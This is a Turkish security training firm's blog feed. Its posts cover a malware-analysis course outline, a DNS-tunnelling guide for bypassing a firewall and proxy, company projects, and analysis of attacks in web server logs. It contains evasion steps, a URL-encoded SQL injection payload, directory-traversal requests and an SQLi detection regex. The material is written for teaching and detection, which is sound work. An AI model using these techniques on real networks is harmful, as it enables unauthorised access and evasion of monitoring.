*Internet altyapısının esnekliği ve yönlendirme algoritmalarının işleyişi düşünüldüğünde bir paketin A noktasından B noktasına giderken izlediği yol ile B noktasından A’ya geri dönüşte izlediği yollar farklı olabilir bu da TTL değerlerinin farklı çıkmasına yol açacaktır.

Kurumsal Ağlarda Malware(Zararlı Yazılım) Analizi Eğitimi

$
0
0

Eğitim Açıklaması
Son yıllarda yaşanan karmaşık ve farkedilmesi zor siber  saldırılar APT kavramı ortaya çıkmıştır. Gelişmiş, hedef odaklı siber tehditler olarak tanımlayabileceğimiz APT kavramının en önemli bileşenini Zararlı Yazılımlar oluşturmaktadır. Siber dünyanın en etkili sihahları olarak da bilinen zararlı yazılımlar, alınan tüm klasik güvenlik önlemlerini atlatarak sistemler/kişiler veya mobil cihazlar üzerinden bilgi kaçırma, zarar verme ve istihbarat toplama amaçlı kullanılmaktadır.

Malware Analiz eğitimin temel amacı kurumsal ağ ortamlarında sık rastlanılan ve klasik güvenlik yazılımları(Antivirüs, HIPS vb) tarafından farkedilemeyen zararlı yazılımların analiz edilmesi, etki ve aktivitelerinin belirlenmesi ve sistemden kaldırılması için gerekli çalışmaların yapılmasıdır.
Eğitim süresince katılımcılar gerçek hayattan alınmış zararlı yazılımların analizlerini yaparak konu hakkında pratik bilgiye sahip olacaklardır.


Eğitim Seviyesi


Kimler Katılmalı
Sistem ve ağ yöneticileri, IT denetçileri, SOC(Security Operation Center) çalışanları, bilgi güvenliği ekipleri

Ön Gereksinimler
Orta seviye Windows bilgisi, temel seviye ağ ve Linux bilgisi.

Eğitim Süresi
3 Gün

Sertifika
Eğitime katılanlara, BGA tarafından katılım sertifikası verilecektir.

Eğitim İçeriği
Zararlı Yazılım(Malware) Dünyası
Temel kavramlar
Malware, Virus, Worm, Trojan, Spyware, Ransomware
Yeni Nesil Suçlar vs Siber Suç Kavramı
Yeraltı Ekonomisi ve Dinamikleri
Siber Casusluk Amaçlı Kullanılan Zararlı Yazılımlar
Zararlı Yazılım(Malware) Analizi
Türkiye ve Dünyadan Zararlı Yazılım Haberleri
APT(Advanced Persistent Threat) Kavramı
Örnek Bir APT(Advanced Persistent Threat) Senaryosu

Zararlı Yazılım (Malware) Analiz Yöntemleri
Dinamik Analiz Yöntemleri
Statik Analiz Yöntemleri
Gelişmiş Analiz Yöntemleri
Etkilediği Sisteme Göre Zararlı Yazılım Çeşitleri
Windows Sistemleri Etkileyen Zararlı Yazılımlar
Linux Sistemleri Etkileyen Zararlı Yazılımlar
Mobil (Android/iOS) Sistemleri Etkileyen Zararlı Yazılımlar

Malware Analiz Araçları ve Temel Kullanımı
Debugger(Ayıklama) ve Disassembler Kavramları
Temel Seviyede Debugger ve Disassembler Kullanımı
Online Malware Analiz Siteleri ve Temel Çalışma Yöntemleri
Malware Yayılma Mekanizmaları
Malware Keşfinde Microsoft SysInternals Araçları

Botnet Konusuna Giriş
Botnet Kullanılarak Gerçekleştirilen Saldırı Tipleri
Botnet Takip ve Tespiti Amaçlı Trafik Analizi
Snort Saldırı Tespit Sistemi Botnet Kuralları
C&C Koruma Amaçlı Fastflux Kullanımı
DNS Sinkhole Kullanarak Malware ve BotNet Keşfi
Örnek Botnet Analizi (Zeus)

Malware Analiz Amaçlı Lab. Ortamının Hazırlanması
Sanal Makinelerin Malware Analizinde Kullanım Avantaj/Dezavantajları
Malware Analizi için Vmware Kurulum/Yapılandırması
Inetsim Kullanarak Sahte Ağ Servisleri Hazırlama
Malware Analiz Amaçlı  Hazır Linux Dağıtımı:Remnux
Sandbox Kurulumu
Cuckoo Sandbox Kurulum ve Örnek Kullanımı
Sandboxie Kullanımı

Basit Araçlar Kullanarak Tanınmaz Malware Geliştirme/Üretimi
Hazır Malware Üretim Araçları ve Online Servisler
FUD(Fully Undetectable) Zararlı Yazılım Geliştirme
Crypter, Packer, Joiner, Wrapper, Binder Kavramları ve Kullanım Amaçları
İnceleme Amaçlı Malware Örneklerine Ulaşım
Windows/UNIX/Linux Sistemlerde Zararlı Yazılım Analizi
Linux/UNIX Sistemlerde Malware Analizi  Araçları

Zararlı Yazılım Tespitinde  Statik Analiz Yöntemleri
Temel Antivirüs ve AntiMalware Yazılımlarının Çalışma Mantığı
Paketleme Yapılmamış Malware İçinden Anlamlı Kelime Yakalama
Paketlenmiş ve Karıştırılmış(obfuscate)  malware Kullanımı
Paketleme ve Çözme Araçları
Peid ile Paketleme Tipini Belirleme
Paketleme için UPX Kullanımı
Paketlenmiş Dosyayı OllyDbg Kullanarak Açma
Bilinmeyen Paketleme Yöntemleri için Analiz Araçları
Windows PE Dosya Tipi ve Bölümleri

Dinamik Analiz Yöntemi ile Malware Tespiti
Dinamik Analiz Yöntemi Avantaj ve Dezavantajları
Sandbox Kavramı
Dinamik Analiz için Kullanılan Araçlar
Windows SysInternals Araçları
Malware Tarafından Başlatılan Süreç(proses) Takibi
Procman, Process Explorer Kullanımı
Malware Tarafından Diske Yazılan/Silinen Dosyaların Belirlenmesi
Capturebat Kullanımı
Firemon Kullanımı
Malware Tarafından Değiştirilen Registry Ayarları
Regshot Kullanımı
Pdf ve Microsoft Ofis Döküman Analizi
Javascript Analizi

Malware Tarafından Üretilen Trafiğin İncelenmesi
SSL Trafiğinde Araya Girme
Wireshark,Ngrep, Tshark Kullanarak Trafik Analizi
Snort Kullanarak Zararlı Yazılım için IDS İmzası Yazma
Zararlı Yazılım Analizinde Ağ Trafiği Analizi
Malware Engelleme ve Tespitinde DNS Sinkhole Kullanımı

Malware Analizi Amaçlı Memory Dump(Bellek Dökümü) İnceleme
İşletim Sistemi Çalışmasına Belleğin Yeri ve Önemi
Bellek Analizi için Gerekli Temel Bilgiler
Memory Dump Alma Yöntem ve Araçları
Sanal Makinelerde Bellek Dökümü Alma
Bellek Dökümü Alma Amaçlı Kullanılan Ticari/Ücretsiz Araçlar
Volality Yazılımı Kullanarak Bellek Analizi
Çalıştırılan Dosyaya Ait Ağ Bağlantılarını Bulma
Bellekte Parola Bulma
Bellekten Zararlı Yazılıma Ait Çalıştırılabilir Dosyanın Ayıklanması
Bellekte Zararlı Yazılım Avı

Örneklerle Malware Analizi Çalışmaları
Basit Araçlarla StuxNet Analizi (Temel Seviye)
Basit Araçlarla Duqu Analiz (Temel Seviye)
Karmaşık Zararlı Yazılımların Analizinde Standart Araçların Yetersizliği
İleri Seviye Malware Analizi için Gerekli Araçlar ve Yöntemler

Final Çalışması: Gruplara bölünerek eğitmenler tarafından önceden hazırlanmış ve internette örneği olmayan, çalıştırıldığında değişik aktiviteler gerçekleştiren zararlı yazılım örneğinin sistem üzerinde belirlenmesi, aktivitelerinin ortaya çıkarılması ve sistemden silinmesi için gerekli olan işlemlerin formal raporunun hazırlanması.

DNS Tünelleme Kullanarak Firewall/IPS Atlatma

$
0
0
Senaryo: Firewall ve Web Proxy (/Content Filter) ile tüm internet trafiği engellenmiş bir kullanıcı/hacker internete  ulaşmak istiyor.

Yerel ağdan internete giden tüm port ve protokoller Firewal tarafından engellenmiştir. Web erişimi için hizmet veren proxy ise yalnızca yetkili kulllanıcılara internet erişimi sağlamaktadır.

Bu sistemlere takılmadan sınırsız ve kayıt altına alınamaz internet trafiği nasıl elde edilebilir ?

DNS Tunnel
Bir protokol içerisinde başka bir protokole ait veri taşıma işlemine protokol tünelleme denir. DNS paketleri içersinden herhangi bir tcp/udp paketini (örneğin, http,ftp, ssh vb.) taşıma işlemi de DNS Tünnelleme olarak isimlendirilir.



DNS sunucu kendisinden sorgulanan bir dns isteğine önce önbelleğini kontrol ederek yanıt vermek ister eğer alan adı dns önbelleğinde yoksa, sorgulanan alan adından sorumlu dns sunucuyu bulur ve ona sorar. Sorgulanan alan adından yetkili dns sunucu ilgili dns kaydı için yanıt verir ve DNS sunucu bu yanıtı istemciye iletir.

Örnek
Kullanıcı, tunnel.bga.com.tr alan adını sorgulamak istediğinde yerel ağındaki dns sunucu bu kayıt önbelleğinde yoksa bu isteğe doğrudan yanıt veremez. tunnel.bga.com.tr  alan adından sorumlu dns sunucuyu bulur dns.bga.com.tr  ve ona tunnel A kaydını sorar aldığı yanıtı istemciye iletir.
Tcp-Over-Dns Çalışma Prensibi

tcp-over-dns client, dns verisini encode ederek ISP'nin dns sunucusuna iletir. ISP'nin dns sunucuyu bu isteğe yanıt veremez ve dns isteğini tcp-over-dns server a iletir. tcp-over-dns server gelen isteği decode eder ve ilgili isteğe yanıtı client a  geri gönderir.  DNS isteklerinin, dns sunucu tarafından önbelleğe alınma ihtimaline karşı her dns sorgusunda rastgele bir subdomain kullanılır.

Ön Gereksinimler:
  1. Dns isteklerinize yanıt alabildiğinizi doğrulamalısınız. Örneğin; 'nslookup  google.com.tr' komutu ile google ip adreslerini öğrenebiliyorsanız. DNS isteklerinize yanıt veriliyordur.
  2. İnternet dünyasında sizin kontrolünüzde olan bir sunucu.Administrator veya root yetkilerine sahip olmalısınız. UDP 53 portu farklı bir uygulama tarafından kullanılmıyor olmalı ve erişim problemi yaşanmamalıdır.
  3. Kullandığınız işletim sistemine göre tcp-over-dns yazılımı. Mutlaka java kurulu olmalıdır.
    http://analogbit.com/software/tcp-over-dns

Tcp-Over-Dns Server Yapılandırması
Bu işlem için bir  alan adına ve bu alan adından sorumlu dns sunucuya ihtiyaç vardır. Bu örnekde aşağıdaki dns kayıtları oluşturup, kullanılmıştır. 

NS = dns.bga.com.tr
A   = tunnel.bga.com.tr

tcpoverdns, multi platform çalışmaktadır (Windows,Linux,*BSD). Bu örnekde dns sunucu FreeBSD istemci ise Windows 7  işletim sisteminde kurulmuştur.



Not: Tcp-Over-Dns server, gelen trafiği port 443 (ssh servisine) yönlendirecektir.

Tcp-Over-Dns Client Yapılandırması
İstemci bilgisayarda client-example.bat dosyası düzenlenerek DOMAIN değeri bu iş için oluşturulan alan adı ile değiştirilir.




client-example.bat dosyası çalıştırıldığında tünel için 127.0.0.1:8080 portu dinleme alınacaktır.


Tcp-Over-Dns Client, yerel bilgisayarda 8080 portunu dinleme açtı ve bu porta yapılan bağlantıları tunnel.bga.com.tr makinasının 443 (ssh) portuna iletecektir.

Test için, putty aracı ile 127.0.0.1:8080 portuna bağlantı isteği başlatıldığında  bga.com.tr adresinin 443 portuna erişim kurulacaktır.




SSH trafiği Firewall tarafından engellenmiş olsada, DNS paketleri ile ssh trafiği internete kaçırıldı.

Bu yöntem ile birçok yerde bulunan Hotspot sistemleri de atlatılabilmek mümkündür.

Yazar: Ozan UÇAR // ozan.ucar@bga.com.tr

Beyaz Şapkalı Hacker Eğitimi Lab Kitapçığı

$
0
0
Bilgi Güvenliği AKADEMİSİ olarak verdiğimiz eğitimlerde uygulamaya özel önem veriyoruz. Güvenlik gibi karmaşık bir konu detaylı uygulamalar gerçekleştirmeden anlatıldığında konuya yabancı olan katılımcılar tarafından tam olarak anlaşılamamaktadır. Eğitim notlarına destek olmak amacıyla başlattığımız lab çalışmalarını içeren kitapçık çalışmalarını uzun süre önce başlamıştık. Bu konuda ilk kitapçık Beyaz Şapkalı Hacker eğitimi için çıktı.

BGA ekibinden Celal ERDİK, Ömer ALBAYRAK, Ozan UÇAR ve Huzeyfe ÖNAL tarafından hazırlananaşağıdaki içeriğe sahip (300 sayfalık) Beyaz Şapkalı Hacker eğitimi lab kitapçığını ücretsiz edinmek için daha önce BGA tarafından açılan CEH, Pentest eğitimlerinden birine katılmış olmanız yeterlidir.
Kitapçığı edinmek için egitim@bga.com.tr  adresine kitabı istediğinize dair bir e-posta göndererek BGA İstanbul ofisinden bir hafta sonra teslim alabilirsiniz. Kargo ile gönderim yapılmamaktadır.


İçerik Tablosu


Bilgi Güvenliği AKADEMİSİ 2013 - 2014 Yılı Projeleri

$
0
0

Bilgi Güvenliği AKADEMİSİ olarak sektöre profesyonel olarak katkılarımızın yanında uzun vadeli sosyal sorumluluk projeleri üzerinde de ciddiyetle çalışmaktayız. Önemli hedeflerimizden biri Türkiye’deki bilgi güvenliği sektörünü sadece çeşitli ürünlerin satıldığı bir pazar olmaktan çıkartıp siber güvenlik konusunda üretebilen bir ülke haline dönüştürmek. 

Tüm BGA ekibinin mesai saatleri oldukça yoğun geçmesi nedeniyle genellikle mesai dışı zamanları tam zamanlı olarak bu projelere harcıyoruz.

2013-2014 yıllarında aşağıda özetleri yazılı projeleri BGA olarak kendimize hedef koyduk. İlgili projelere destek/öneri vermek isteyenler bilgi@bga.com.tr adresinden iletişime geçebilir.


  1. BGA Bilişim Güvenliği Staj okulu 2013

Bilgi güvenliği AKADEMİSİ, 21. yüzyılın en önemli mesleklerinden biri olarak görülen Siber Güvenlik konusunda kendini yetiştirmek, kariyerini siber güvenlik konusunda ilerletmek isteyen üniversite öğrencilerini BGA Staj Okulu’na davet ediyor.

Bilgi Güvenliği AKADEMİSİ’nin bilgi/bilişim güvenliği konusundaki deneyim ve uzmanlığını öğrenciler ile paylaşacağı “BGA Staj Okulu” gerçek proje uygulamalarıyla katılımcılarına  güvenlik konusunda yeni deneyimler ve farklı bakış açısı sunacaktır.

Bu yıl staj için üç öğrenci alınacak, çalıştırılacak konu başlıkları aşağıdaki gibidir.
  • Vulnerability Research
  • Network Security
  • Web Application Security

  1. Siber Güvenlik Ar-ge Destek bursu www.bga.com.tr/siberguvenlikburs
Bilgi Güvenliği AKADEMİSİ olarak en önemli hedeflerimizden biri sektöre yetişmiş eleman desteği sağlamaktır. Bu konuda düzenlediğimiz çeşitli projelere bir yenisini daha ekleyerek üniversite hayatında siber güvenlik konusuyla ilgilenen öğrencileri maddi olarak destek amaçlı ar-ge burs imkanı sunuyoruz. Üniversite öğrencileri belirlenen süre içerisinde jüri üyeleri tarafından belirlenecek konularda yapacağı projeleri

Ar-ge destek bursunda daha fazla öğrenciye burs verebilmek için Türkiye’de güvenlik üzerine uğraşan tüm firmalara ulaşıp işbirliği teklifinde bulunulacaktır.
BGA olarak üç öğrenciye Siber Güvenlik ar-ge Destek bursu vereceğiz. Diğer firmalarla yapılan görüşmeler sonucu toplamda 10-15 öğrenciye burs verme hedefimiz bulunmakta.

Basitçe Ar-ge Destek Bursu Süreci :
  • 2013 yılında başvurular alınacak ve projeler için ön süre verilecek.
  • Sadece maddi katkı değil, sunulan projenin hayat bulup know how da verilecek.
  • Özel sektör ve üniversitelerden oluşan 10 kişilik bir jüri üyesi olacak.
  • Ön değerlendirme
  • Finale kalan projelerin açıklanması
  • Ödül

  1. Bilgi Güvenliği Sertifika Merkezi - ISCC/BGSM

Amaç Türkiye’de sektörün ihtiyacı olan teknik bilgi seviyesinin temel olarak belirlenmesi vs. Sertifika için eğitim alınması zorunlu olmayacak.
Sertifikaların bir kısmı teorik sınavlar bir kısmı da pratik çalışmalardan oluşacak.
İlk aşamada aşağıdaki konu başlıkları belirlenmiştir.
  • Sertifikalı Ağ Güvenliği Uzmanı
  • Sertifikalı DDoS Saldırı Uzmanı
  • Sertiikalı Siber Güvenlik Uzmanı
  • Sertifikalı Adli Bilişim Analizi Uzmanı

  1. Siber Güvenlik Yaz Kampı  www.siberkamp.org
Bu yıl üçüncüsü düzenlenecek olan Siber Güvenlik Yaz Kampı daha fazla sayıda daha fazla günde yeni içerikle geliyor. Temmuz ayında gerçekleştirilecek siber güvenlik kampına ait detaylar Şubat ayı itibariyle @bgakademisi twitter hesabından ve www.siberkamp.org web sitesinden duyurulacaktır.

Siber güvenlik yaz kampında 2014 yılı için kamu çalışanları ve lise  öğrencileri için de planlama yapmaktayız.

Geçmiş yıllarda edindiğimiz tecrübeler ışığında bu yıl Siber Güvenlik Yaz Kampı’nın çok daha başarılı ve verimli geçeceğini umuyoruz.

  1. Bilgi Güvenliği Kariyer Destek Merkeziwww.bga.com.tr/guvenlikariyer
Kurumsal firmalar en iyi elemanlarla çalışmak ister, bilgi güvenliği uzmanları en iyisine layıktır sloganıyla yola çıktığımız bu projede öncelikli olarak Bilgi Güvenliği AKADEMİSİ müşterileri ve akademi öğrencileri için profesyonel kariyer desteği sağlayacağız.

Her yıl 500’ün üzerinde yeni sektör çalışanına ulaşıyoruz. Çoğu sektör çalışanı halihazırda çalıştığı işin kendisine uygun olmadığını düşündüğü için verimli çalışmadığını söylemektedir. Benzer şekilde kurumsal firmalar kariyer sitelerinden eleman alımlarında güven problemi yaşamaktadır. Bu konuda hem teknik bilgi hem kişisel referans ve değerlendirmelerle sektördeki en önemli problemlerden birine çözüm önerisi sunma düşüncesindeyiz.


  1. Kritik Altyapılarda Siber Güvenlik Konferansı / İstanbul
Kritik altyapılarda IT sistemlerinin yönetimi ve güvenliğini konu alan ScadaSec etkinliği 2013 yılı Ekim ayında düzenlenecek ve Türkiye’deki(ve Türk cumhuriyetleri) SCADA sistemlerini kullanan firmalara açık bir etkinlik olarak düzenlenecek.

  1. Bilgi Güvenliği Yöneticileri Zirvesi - CISO Summit /istanbul
Bilgi Güvenliği Yöneticilerine hitap eden bir/iki günlük bir etkinlik. Sektöre yön veren güvenlik yöneticilerine haberlerin ötesinde bilgi güvenliği konusundaki riskleri anlamalarına yönelik farklı formatta bir etkinlik. Detaylar www.cisosummit.org adresi ve @bgakademisi twitter hesabından yayınlanacak.

  1. Bilişim Suçları ve Adli Bilişim Konferansı - Ankara
Haziran ayında Ankara’da gerçekleştirilecek Türkiye’nin ilk bilişim suçları konulu etkinliğini düzenliyoruz. Etkinlik hukuk, kolluk kuvvetleri ve IT dünyasına hitap eden geniş bir formata sahip olacak. Katılım sadece kurumsal firmalara açık olacak. Detayları yakında @bgakademisi twitter hesabından ve blog.bga.com.tr adresinden duyurulacak.


  1. Siber Güvenlik Konferansı - Ankara
Her yıl Ankara’da düzenli olarak gerçekleştirdiğimiz Siber Güvenlik Konferansı 2013 Kasım ayında Ankara’da gerçekleştirilecek. Bu yıl biraz daha farklı olarak kamu çalışanlarına özel oturumlar olacak.
Aynı etkinliğin İstanbul ayağında Siber Güvenlik Derneği’ne destek verilecek.

  1. NetSec Ağ ve Bilgi Güvenliği Etkinlikleri’ne Destek

NetSec Ağ ve Bilgi Güvenliği Topluluğu tarafından düzenlenecek aşağıdaki konu başlıklarını içeren etkinliklere aktif katılım sağlayarak destek olmak.

    1. Hedef Odaklı, Karmaşık Siber Tehditler, APT Etkinliği
    2. Siber Suçlar ve Analiz Yöntemleri (Cyber Crimes & Forensics) Etkinliği
    3. Cloud, Virtulization and Mobile Security Etkinliği
    4. Bilgi Güvenliğinde Sızma Testleri Etkinliği

  1. BGA CTF 2013 (Hack2Net ‘13)
Her yıl düzenli olarak gerçekleştirdiğimiz siber savaş oyunu/ ethical hacking yarışmasını bu yıl da aynı formatta düzenliyoruz.  Ethical hacking yarışması Hack2Net, BGA pentest ve IR ekiplerinin karşılaştığı gerçek hayat senaryolarının sanal sistemler üzerinde hazırlanmış halini içermektedir. Her zamanki gibi yine birden fazla konuda orta-ileri seviye güvenlik zafiyeti bulma ve istismar etme becerisi isteyecek. Sürpriz hediyeli.

  1. İstSec’13 - Istanbul Bilgi Güvenliği Konferansı
BGA ve ADEO işbirliğiyle İstanbul’da düzenlenen en geniş katılımlı Bilgi Güvenliği Etkinliği IstSec’in 2013 yılı içerisinde tekrar düzenlenmesi. Tarih ve yer konusu netleştikten sonra www.istsec.org adresinden duyurusu yapılacaktır.

  1. TEMA BGA Ormanı

Bilgi Güvenliği AKADEMİSİ olarak eğitimlerimize katılan tüm öğrencilerimiz ve hizmet verdiğimiz tüm firmalar için birer çam ağacı dikme projesidir.
Eğitim notlarını çeşitli zorunluluklar nedeniyle basılı olarak vermemiz nedeniyle doğya karşı olan borcumuzu yeni çam ağaçları dikerek ödeyeceğimizi düşünüyoruz.

Web Sunucu Loglarından Saldırı Analizi

$
0
0

Bilişim sistemlerine yönelik saldırıları belirlemek ve engellemek için aktif ve pasif olmak üzere temelde iki yöntem vardır. Aktif saldırı belirleme ve engelleme sistemleri genellikle ağ/host tabanlı çalışır NIPS/HIPS(Network / Host Intrusion Prevention System) olarak adlandırılır ve anlık ağ trafiği ya da işletim sistemi fonksiyonlarını kullanarak engelleme işlemi gerçekleştirir.

Pasif belirleme sistemleri çok farklı olabilmektedir. Bunlardan biri de sistemin loglarını inceleyerek gerçekleşmiş saldırıları belirlemektir. Saldırıların büyük çoğunluğu log(kayıt) dosyalarındaki – eğer yeterli loglama altyapısı var ve sağlıklı çalışıyorsa- anormallikler incelenerek belirlenebilir.

Konunun detayına girmeden bu yöntemin(log analizi->saldırı inceleme) ciddi eksikliklerinin bulunduğunu belirtmek gerekir. Log analizi yöntemiyle sadece sıradan saldırılar konusunda bulgular elde edilebilir. Genel web sunucu altyapısının eksikliği nedeniyle karmaşık saldırılar sadece web sunucu log analizinden bulunamaz. Ortamda paketleri olduğu gibi gören ve kaydeden başka bileşenlere ihtiyaç vardır (IDS, FPL gibi)

Mesela web sunucular POST isteklerinin detaylarını loglamaz ve eğer saldırganın gerçekleştirdiği atak POST detayında gizli ise sunucu logunda şüpheli bir işlem olarak gözükmeyecektir. Yine saldırgan çeşitli encoding yöntemlerini kullanarak aranacak kelimelerin farklı şekillerde log dosyasında saklamasını sağlayabilir. Burada log analizi gerçekleştiren uzmanın konu hakkında etraflıca bilgi sahibi olması önemlidir.

Log Analizi
Genellikle iki şekilde log analizi gerçekleştirilir.
  • Hazır araçlar kullanarak,
  • UNIX/Linux sistemlerdeki cat, awk, grep, cut .. gibi basit araçlar kullanarak.
Hazır araç kullanmak işlemleri hızlandırsa da false positive oranı yüksek olduğu için çıkan sonucun tekrar gözden geçirilmesi gerekmektedir.
Bu yazıda hem otomatize araç hem de elle yapılan ve toplamda 100.000.000’dan fazla satır içeren yoğun bir sunucuya ait gerçekleştirilen analize dair notlar bulacaksınız.

Apache Loglarında Saldırı İmzası Arama – Log Tabanlı IDS
Gerçekleştirilen her saldırı arkasında mutlaka bir iz bırakır. Bu iz bazı durumlarda saldırının gerçekleştirildiği sistem üzerinde olur bazı durumlarda -saldırganın teknik bilgi seviyesine bağlı olarak- aradaki IDS/IPS gibi pasif sistemlerde olur. Apache, IIS gibi web sunucu yazılımlarının loglarını analiz ederek saldırı imzası arayan çeşitli yazılımlar vardır. Bu yazılımların ortak özelliği kayıtlı loglar arasında daha önceden tanımlanmış belirli kelime/kelime gruplarını aramak ve buna göre uyarı vermektir.

Bu tip yazılımları kullanırken unutulmaması gereken en önemli konu Apache ve diğer web sunucular ön tanımlı olarak POST isteklerinde gelen değerleri loglamazlar. Bunun için mod_forensic gibi  ya da mod_security gibi ek bileşenler kullanılmalıdır ya da POST üzerinden gerçekleştirilecek saldırıları yakalamak için WAF, Load Balancer, IPS gibi ürünlerin loglarına başvurmak gerekir.

HTTP GET / POST İstekleri 
Aşağıdaki iki farklı sistem tarafından alınmış bir POST istek detayı bulunmaktadır. Bunlardan ilki web sunucu kayıtlarından alınmış, diğeri web sunucuya gidip gelen trafiği dinleyen bir sniffer tarafından alınmıştır.
POST isteğinin web sunucu logundaki çıktısı
127.0.0.1 – - [04/Mar/2012:02:10:10 -0500] “POST /dvwa/login.php HTTP/1.1″ 302 454 “http://localhost/dvwa/login.php” “Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1″
POST isteğinin sniffer aracılığıyla gösterimi
T 127.0.0.1:47635 -> 127.0.0.1:80 [AP]
POST /dvwa/login.php HTTP/1.1.
Host: localhost.
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.
Accept-Language: en-us,en;q=0.5.
Accept-Encoding: gzip, deflate.
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7.
Connection: keep-alive.
Referer: http://localhost/dvwa/login.php.
Cookie: security=high; XpLiCo=i68o2ejvm6jnp3b9pv083i4mi7; PHPSESSID=uvn4olrlfd6sckjhe4eea4jno4.
Content-Type: application/x-www-form-urlencoded.
Content-Length: 49.
username=admin&password=hatali_parola&Login=Login

Görüleceği gibi POST isteğini detaylı olarak incelendiğinde (Network üzerinden) hangi kullanıcı adı ve parola bilgilerinin girildiği ortaya çıkmaktadır. Bu detay web sunucu loglarında gözükmeyecektir. Web sunucu loglarında sadece hangi URL’e istek yapıldığı bilgisi kayıt altına alınır.

SQLi Denemesinin Web Sunucu Logu ve Sniffer Üzerinden Analizi
Web sunucu logu:
127.0.0.1 – - [04/Mar/2012:02:10:10 -0500] “POST /dvwa/login.php HTTP/1.1″ 302 454 “http://localhost/dvwa/login.php” “Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1″

Sniffer üzerinden alınan çıktı
T 127.0.0.1:47632 -> 127.0.0.1:80 [AP]
POST /dvwa/login.php HTTP/1.1.
Host: localhost.
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.
Accept-Language: en-us,en;q=0.5.
Accept-Encoding: gzip, deflate.
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7.
Connection: keep-alive.
Referer: http://localhost/dvwa/login.php.
Cookie: security=high; XpLiCo=i68o2ejvm6jnp3b9pv083i4mi7; PHPSESSID=uvn4olrlfd6sckjhe4eea4jno4.
Content-Type: application/x-www-form-urlencoded.
Content-Length: 234.
.
username=ECYH%252C%2528SELECT%2520%2528CASE%2520WHEN%2520%25282167%253D2167%2529%2520THEN%2520ECYH%2520ELSE%25
202167%252A%2528SELECT%25202167%2520FROM%2520INFORMATION_SCHEMA.CHARACTER_SETS
%2529%2520END%2529&password=parola&Login=Login

URL encode edilmiş veri decode edilirse aşağıdakine benzer bir SQL sorgusu olduğu ortaya çıkacaktır.
ECHO SELECT …  CASE … WHEN … THEN ECYH ELSE SELECT FROM INFORMATION_SCHEMA.CHARACTER_SETS AND password=parola&Login
Bu tip POST isteği kullanılarak gerçekleştirilen saldırılar Ağ tabanlı IPS/IDS sistemleri ya da WAF/Load Balancer sistemler kullanarak da belirlenebilir.
Hazır Araçlar Kullanarak Log Analizi, Scalp
Scalp, Web sunucu loglarından denenmiş web saldırılarını log analizi yöntemiyle bulmaya çalışır. Saldırı analizinde kullanacağı değişkenleri de PHPIDS projesinden almaktadır.
https://dev.itratos.de/projects/php-ids/repository/raw/trunk/lib/IDS/default_filter.xml
Komut satırı parametrlerini görme

root@bt:/home/huzeyfe# python scalp-0.4.py
Scalp the apache log! by Romain Gaucher – http://rgaucher.info
usage:  ./scalp.py [--log|-l log_file] [--filters|-f filter_file] [--period time-frame] [OPTIONS] [--attack a1,a2,..,an]
[--sample|-s 4.2]
–log       |-l:  the apache log file ‘./access_log’ by default
–filters   |-f:  the filter file     ‘./default_filter.xml’ by default
–exhaustive|-e:  will report all type of attacks detected and not stop
at the first found
–tough     |-u:  try to decode the potential attack vectors (may increase
the examination time)
–period    |-p:  the period must be specified in the same format as in
the Apache logs using * as wild-card
ex: 04/Apr/2008:15:45;*/Mai/2008
if not specified at the end, the max or min are taken
–html      |-h:  generate an HTML output
–xml       |-x:  generate an XML output
–text      |-t:  generate a simple text output (default)
–except    |-c:  generate a file that contains the non examined logs due to the
main regular expression; ill-formed Apache log etc.
–attack    |-a:  specify the list of attacks to look for
list: xss, sqli, csrf, dos, dt, spam, id, ref, lfi
the list of attacks should not contains spaces and comma separated
ex: xss,sqli,lfi,ref
–output    |-o:  specifying the output directory; by default, scalp will try to write
in the same directory as the log file
–sample    |-s:  use a random sample of the lines, the number (float in [0,100]) is
the percentage, ex: –sample 0.1 for 1/1000

çalıştırıldığında aşağıdaki gibi hata alınabilir.

# python scalp-0.4.py  –log access.101223.log –filters default_filter.xml  -e  –html
Loading XML file ‘default_filter.xml’…
The rule ‘(?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select)|(?:\w+\s+like\s+\”)|(?:like\s*”\%)|(?:”\s*like
\W*["\d])|(?:”\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w]+=\s*\w+\s*having)|(?:”\s*\*\s*\w+\W+”)|(?:”\s*
[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w)|(?:select\s*[\[\]()\s\w\.,”-]+from)|(?:find_in_set\s*\()’ cannot be compiled properly


Çözümü:
http://code.google.com/p/apache-scalp/issues/list

Belirli Tipteki Saldırıları Belirleme
Sadece  belirli tipteki saldırıları aratmak için –a sqli, xss gibi parametre kullanılabilir.
diretct
85.95.238.173 – - [11/Feb/2012:00:50:50 -0600] “GET /nessus\\..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1″ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”
Reason: “Detects basic directory traversal”

85.95.238.173 – - [11/Feb/2012:00:50:50 -0600] “GET /exchweb/bin/auth/owalogon.asp?url=http://12345678910 HTTP/1.1″ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”
Reason: “Detects specific directory and path traversal”

85.95.238.173 – - [11/Feb/2012:00:50:50 -0600] “GET /%80../%80../%80../%80../%80../%80../windows/win.ini HTTP/1.1″ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”
Reason: “Detects basic directory traversal”

85.95.238.173 – - [11/Feb/2012:00:50:51 -0600] “GET /%80../%80../%80../%80../%80../%80../winnt/win.ini HTTP/1.1″ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”
Reason: “Detects basic directory traversal”

